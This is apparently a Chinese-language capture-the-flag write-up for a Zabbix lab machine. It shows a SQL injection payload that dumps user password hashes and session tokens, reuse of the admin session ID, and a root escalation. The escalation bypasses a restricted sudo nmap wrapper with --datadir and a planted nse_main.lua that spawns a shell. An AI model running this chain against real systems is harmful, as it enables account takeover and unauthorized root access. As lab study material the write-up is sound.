and,problem_tag,host_discovery,proxy,sysmap_element_url,userdirectory,task_acknowledge,trends,event_symptom,ids,interface_discovery,userdirectory_usrgrp,lld_override_ops
tatus,permission,media_type_param,rights,maintenances_hosts,items,service_problem,httptest,autoreg_host,opcommand_hst,lld_override_condition,role_rule,sysmaps_links,sysm
ap_url,task,expressions,trigger_queue,history_str,group_discovery,user_scim_group,globalvars,valuemap_mapping,host_proxy,alerts,services,report_param,host_tag,sla_schedu
le,media_type_message,role,housekeeper,host_hgset,widget,proxy_autoreg_host,lld_override,task_check_now,proxy_dhistory,opconditions,graph_theme,optemplate,config_autoreg
_tls,task_result,scim_group,trigger_tag,sysmap_shape,functions,maintenances,drules,dservices,usrgrp,tag_filter,lld_override_opinventory,profiles,userdirectory_media,dhos
ts,opgroup,users_groups,trends_uint,hgset_group,history_bin,corr_operation,history_text,triggers,regexps,host_inventory,item_rtname,sla_service_tag,opmessage,acknowledge
s,ugset_group,httpstepitem,globalmacro,hosts_groups,scripts,httptest_field,lld_override_operation,ugset,dashboard_usrgrp,corr_condition_tagpair,item_parameter,hstgrp,tim
eperiods,ha_node,sla,changelog,history_uint,lld_override_ophistory,history_log,httpstep_field,widget_field,task_close_problem,sla_excluded_downtime,event_suppress,hosts,item_tag,proxy_group_rtdata,connector,task_data,opmessage_grp,corr_condition,sysmaps_elements,group_prototype,dchecks,httptest_tag,auditlog,module,trigger_discovery,mfa_
totp_secret,dashboard,httptestitem,userdirectory_saml,opinventory,service_problem_tag,corr_condition_tag,services_links,opmessage_usr,lld_override_optag,trigger_depends,
history,hostmacro,icon_mapping,service_status_rule,mfa,config,icon_map,corr_condition_tagvalue,item_condition,event_recovery,hosts_templates,valuemap,corr_condition_grou
p,optag,task_remote_command,maintenances_windows,escalations,actions,interface_snmp,operations"

user表

1
2
3
4
5
6
7
8
(select group_concat(concat_ws(',',userid,username,name,surname,passwd,url,autologin,autologout,lang,refresh,theme,attempt_failed,attempt_ip,attempt_clock,rows_per_page,timezone,roleid,userdirectoryid,ts_provisioned,'|')) FROM zabbix.users)":"

1,Admin,Zabbix,Administrator,$2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a,,1,0,default,30s,default,0,10.10.16.8,1734156350,50,default,3,0,|,2,guest,,,$2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06,,0,15m,default,30s,default,0,,0,50,default,4,0,|,3,matthew,matthewa,matthew,$2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS,,1,0,default,30s,default,0,,0,50,default,1,0,|


1,Admin,Zabbix,Administrator,$2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a,,1,0,default,30s,default,0,10.10.16.8,1734156350,50,default,3,0
2,guest,,,$2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06,,0,15m,default,30s,default,0,,0,50,default,4,0,
3,matthew,matthewa,matthew,$2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS,,1,0,default,30s,default,0,,0,50,default,1,0

sessions表

1
2
3
4
5
sessionid,userid,lastaccess,status,secret

296e7dc9a5d20eac03bed07d9d63aea9,1,1734172812,0,91d00fed09ca47094fdc3f44af147af3

56091871f4c393e0f2b35459b4b74c87,3,1734175583,0,c2da16fb6d4221f14d27dcdfc4f1d888

这里3是我们当前账户,1对应的admin账户,拿到sessionid可以越权了

to Root

这里进来之后sudo -l给了个nmap

按照 https://gtfobins.github.io/gtfobins/nmap/ 尝试了下,好像都被ban了

1
2
3
4
5
6
7
8
zabbix@unrested:~$ TF=$(mktemp)                                                                                    
zabbix@unrested:~$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
zabbix@unrested:~$ echo 'os.execute("/bin/sh")' > $TF
zabbix@unrested:~$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
zabbix@unrested:~$ sudo nmap --interactive
Interactive mode is disabled for security reasons.

看了下调用的nmap文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done

# Execute the original nmap binary with the provided arguments

是有过滤的,但是可以通过--datadir来实现加载目录重定向,选一个看起来相对主要的文件名拿过来用一下。

https://nmap.org/book/data-files-replacing-data-files.html

这里

https://www.cnblogs.com/liun1994/p/7041373.html

看起来nse_main.lua应该是作为后续扫描的主要逻辑入口

1
2
3
4
5
echo 'os.execute("/bin/sh")'> /tmp/nse_main.lua

zabbix@unrested:/tmp$ sudo nmap --datadir /tmp/ -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-16 07:40 UTC
#

getroot